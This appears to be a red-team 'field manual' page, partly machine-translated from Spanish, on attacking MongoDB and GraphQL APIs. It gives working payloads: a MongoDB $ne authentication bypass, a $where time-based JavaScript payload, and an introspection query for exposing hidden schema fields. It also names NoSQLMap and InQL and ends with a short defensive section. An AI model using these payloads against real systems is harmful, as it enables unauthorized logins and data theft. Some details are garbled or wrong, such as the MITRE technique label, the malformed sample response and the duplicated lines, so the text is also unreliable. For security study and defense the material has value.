📕 FIELD MANUAL 9.1: NoSQL & API INJECTION (MONGODB & GRAPHQL)
Objective: We will compromise modern databases (MongoDB) and APIs (GraphQL) where SQLMap does not work. Here, we will not inject syntax, we will inject...
Classification: RED TEAM EYES ONLY
Objective: We will compromise modern databases (MongoDB) and APIs (GraphQL) where SQLMap fails. Here we won't inject syntax, we will inject Logic and Objects.
MITRE ATT&CK: T1190, T1566 (Injection).
1. INTEL & RECON: NEW PARADIGM
Sección titulada «1. INTEL & RECON: NUEVO PARADIGMA»Modern apps do not use strings to query the DB; they use JSON or BSON objects.
- Target: MEAN/MERN Stack (MongoDB, Express, Angular/React, Node).
- Vector: Content-Type:
application/json.
2. WEAPONIZATION: MONGODB INJECTION
Sección titulada «2. WEAPONIZATION: MONGODB INJECTION»TECHNIQUE A: Authentication Bypass ($ne)
Sección titulada «TÉCNICA A: Authentication Bypass ($ne)»In SQL we use OR 1=1 (Tautology). In MongoDB, the tautology is “Not equal to Null” (or not equal to an impossible value).
Attack Payload:
POST /login HTTP/1.1Content-Type: application/json
{ "username": "admin", "password": { "$ne": null }}- Explanation: The backend query will become:
db.users.findOne({username: "admin", password: {$ne: null}}). - Result: Since the admin password exists (is not null), the condition will be TRUE. Access Granted without password.
TECHNIQUE B: JavaScript Execution ($where)
Sección titulada «TÉCNICA B: JavaScript Execution ($where)»If the application uses the $where operator, we can execute arbitrary JS within the database server.
-
Payload (Blind Time-Based):
{"id": { "$where": "sleep(5000)" }} -
Impact: Denial of Service (DoS) or blind data extraction.
3. WEAPONIZATION: GRAPHQL INJECTION
Sección titulada «3. WEAPONIZATION: GRAPHQL INJECTION»GraphQL exposes a single endpoint (/graphql). "Recon" consists of asking the API to give us its map.
TECHNIQUE: Introspection Query
Sección titulada «TÉCNICA: Introspection Query»We will request the complete schema to view hidden types.
Attacker Query:
{ __schema { types { name fields { name } } }}Server Response (Vulnerable):
200 OK"data": { "__schema": { "types": [ "User", "Post", "AuthToken", "SecretKey" <-- [!] VULNERABILITY DETECTED ] }}- Action: Now we will know that
SecretKeyexists. We will be able to run queries to extract that specific field.
4. AUTOMATION
Sección titulada «4. AUTOMATION»- NoSQLMap: We will automate the injection in MongoDB.
- InQL (Burp Extension): GraphQL security scanner that automatically generates attack queries based on introspection.
5. PURPLE TEAM VIEW (DEFENSE)
Sección titulada «5. PURPLE TEAM VIEW (DEFENSA)»- MongoDB: We will use Mongoose with strict schemas that validate that
passwordis a String, never an Object. - GraphQL: We will disable Introspection in production (
introspection: falsein Apollo Server).

